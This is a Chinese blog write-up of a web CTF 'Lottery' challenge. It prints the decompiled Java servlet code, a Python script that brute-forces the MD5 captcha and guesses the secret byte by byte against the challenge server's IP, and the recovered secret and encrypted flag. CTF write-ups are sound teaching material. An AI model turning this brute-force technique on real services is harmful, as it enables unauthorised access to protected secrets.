欢迎来到 嗅灵易学

零基础也能上手的脚本技术课,一对一答疑带你入门

[原创]WEB CTF题目

[原创]WEB CTF题目


访问一下网页:

查看一下网页源码,发现可以下载到Lottery.class。反编译得到java源码:
import java.io.PrintWriter;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.security.Key;
import java.security.MessageDigest;
import java.security.NoSuchAlgorithmException;
import java.security.SecureRandom;
import java.security.spec.AlgorithmParameterSpec;
import java.util.Arrays;
import javax.crypto.Cipher;
import javax.crypto.spec.IvParameterSpec;
import javax.crypto.spec.SecretKeySpec;
import javax.servlet.RequestDispatcher;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;
public class Lottery
extends HttpServlet {
    private static String a = "/SECRET";
    private static String b = "/FLAG";
    private static String c = "0011223344556677";
    private static byte[] a() {
        return Arrays.copyOfRange(Files.readAllBytes(Paths.get(a, new String[0])), 0, 16);
    }
    private static byte[] b() {
        return Files.readAllBytes(Paths.get(b, new String[0]));
    }
    private static byte[] a(String arrby) {
        MessageDigest messageDigest = MessageDigest.getInstance("MD5");
        arrby = messageDigest.digest(arrby.getBytes("UTF-8"));
        return arrby;
    }
    private static void a(HttpServletResponse object, String string) {
        object = object.getWriter();
        string = string.replace("\\", "\\\\");
        string = string.replace("\"", "\\\"");
        object.println("{\"msg\": \"" + string + "\"}");
    }
    private boolean a(byte by, int n) {
        if (by == Lottery.a()[n]) {
            return true;
        }
        return false;
    }
    private static int b(String string) {
        return Integer.parseInt(string);
    }
    private static String a(byte[] arrby) {
        StringBuilder stringBuilder = new StringBuilder();
        for (int i = 0; i < arrby.length; ++i) {
            stringBuilder.append(String.format("%02x", Byte.valueOf(arrby[i])));
        }
        return stringBuilder.toString();
    }
    private static String a(int n) {
        char[] arrc = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890".toCharArray();
        SecureRandom secureRandom = new SecureRandom();
        StringBuilder stringBuilder = new StringBuilder();
        for (int i = 0; i < 16; ++i) {
            int n2 = secureRandom.nextInt(65535) % arrc.length;
            stringBuilder.append(arrc[n2]);
        }
        return stringBuilder.toString();
    }
    public void doGet(HttpServletRequest httpServletRequest, HttpServletResponse httpServletResponse) {
        httpServletResponse.setContentType("text/html");
        httpServletResponse.setCharacterEncoding("UTF-8");
        HttpSession httpSession = httpServletRequest.getSession();
        httpServletResponse.getWriter();
        httpSession.setAttribute("prefix", (Object)Lottery.a(16));
        httpSession = httpServletRequest.getRequestDispatcher("WEB-INF/jsp/index.jsp");
        httpSession.forward((ServletRequest)httpServletRequest, (ServletResponse)httpServletResponse);
    }
    public void doPost(HttpServletRequest arrby, HttpServletResponse httpServletResponse) {
        String string;
        byte[] arrby2;
        Object object;
        httpServletResponse.setContentType("application/json");
        httpServletResponse.setCharacterEncoding("UTF-8");
        arrby2 = arrby.getSession();
        httpServletResponse.getWriter();
        object = arrby2.getAttribute("prefix");
        object = object == null ? Lottery.a(16) : (String)object;
        arrby2.setAttribute("prefix", (Object)Lottery.a(16));
        arrby2 = new byte[]{0};
        String string2 = arrby.getParameter("captcha");
        try {
            arrby2 = Lottery.a((String)object + string2);
        }
        catch (NoSuchAlgorithmException v0) {}
        object = arrby.getParameter("line");
        int n = Integer.parseInt((String)object);
        if (n >= 0 && n <= 3) {
            string = "333";
        } else if (n >= 4 && n <= 7) {
            string = "4444";
        } else if (n >= 8 && n <= 11) {
            string = "55555";
        } else if (n >= 12 && n <= 15) {
            string = "666666";
        } else {
            Lottery.a(httpServletResponse, "line error");
            return;
        }
        object = arrby.getParameter("guess");
        if (object == null || ((String)object).equals("")) {
            Lottery.a(httpServletResponse, "guess not found");
            return;
        }
        byte by = (byte)arrby.getParameter("guess").toCharArray()[0];
        if (Lottery.a(arrby2).startsWith(string)) {
            int n2 = n;
            byte by2 = by;
            Object object2 = this;
            if (by2 == Lottery.a()[n2]) {
                if (n == 15) {
                    byte[] arrby3;
                    arrby3 = new byte[]{0};
                    try {
                        arrby3 = Lottery.a(arrby.getRemoteAddr() + new String(Lottery.a()));
                    }
                    catch (NoSuchAlgorithmException v1) {}
                    try {
                        arrby = new SecretKeySpec(arrby3, "AES");
                        arrby3 = Cipher.getInstance("AES/CBC/PKCS5Padding");
                        object2 = new IvParameterSpec(c.getBytes("UTF-8"));
                        arrby3.init(1, (Key)arrby, (AlgorithmParameterSpec)object2);
                        arrby = arrby3.doFinal(Files.readAllBytes(Paths.get(b, new String[0])));
                        Lottery.a(httpServletResponse, "encrypted flag is " + Lottery.a(arrby));
                    }
                    catch (Exception v2) {
                        Lottery.a(httpServletResponse, "encryption error");
                        return;
                    }
                }
                Lottery.a(httpServletResponse, "good");
                return;
            }
            Lottery.a(httpServletResponse, "bad luck");
            return;
        }
        Lottery.a(httpServletResponse, "captcha error");
    }
    public void destroy() {
    }
}
研究了半天,写个python脚本爆破一下吧。
import requests
import re
import hashlib as h
def breakCaptcha(prefix, start):
    i = 1000000
    while True:
        digest=h.new('md5', prefix+str(i)).hexdigest()
        if digest.startswith(start):
            return str(i)
        i += 1
def broute(s,n):
    for i in range(256):
        data=s.get("http://52.196.144.8:8080/").text
        prefix=re.findall('(?<=md5\(\s").*?(?=")',data)[0]
        captcha=breakCaptcha(prefix, prefixes[n])
        data = {'guess':chr(i),'captcha':captcha,'line':n }
        resp = s.post('http://52.196.144.8:8080/', data=data).text
        if ("good" in resp) or ("flag" in resp):
            print 'securet[%d]=%d' %(n,i)
            if 'flag' in resp:
                print resp
            return i
        i+=1
s = requests.Session() 
captcha=''
prefixes=['333']*4+ ['4444']*5 + ['55555']*6 +['666666']*7
secret=[]
for i in range(16):
    secret.append(broute(s,i))   
print secret
慢慢的跑吧,最后得到secret的16个字节为:
132 203 41 215 52 248 159 26 20 59 8 177 119 252 43 28
其中跑最后一个字节还会得到flag的加密数据:
securet[15]=28
{"msg": "encrypted flag is 1c96228f368c3b214c3a481653d019ad35782e275e3cf7bde46f1fb7b09ea48abee650a18f75d0eb64b9ebfb52b4062e"}
解密flag必须在题目提示的java环境下操作,否则解密成功不了。

上传的附件 AngryBoy.png
web.png
flag.png

注意:上传附件及图片大小不得大于30M。

⚠️ 版权声明:
本博客所有内容(含教程、源码、工具)仅供个人技术学习与研究交流使用,严禁商用、倒卖、二次分发及非法用途
未经作者书面授权,任何组织或个人不得转载、复制或用于其他平台,违者将追究相关责任。

0 0 0 举报
复制成功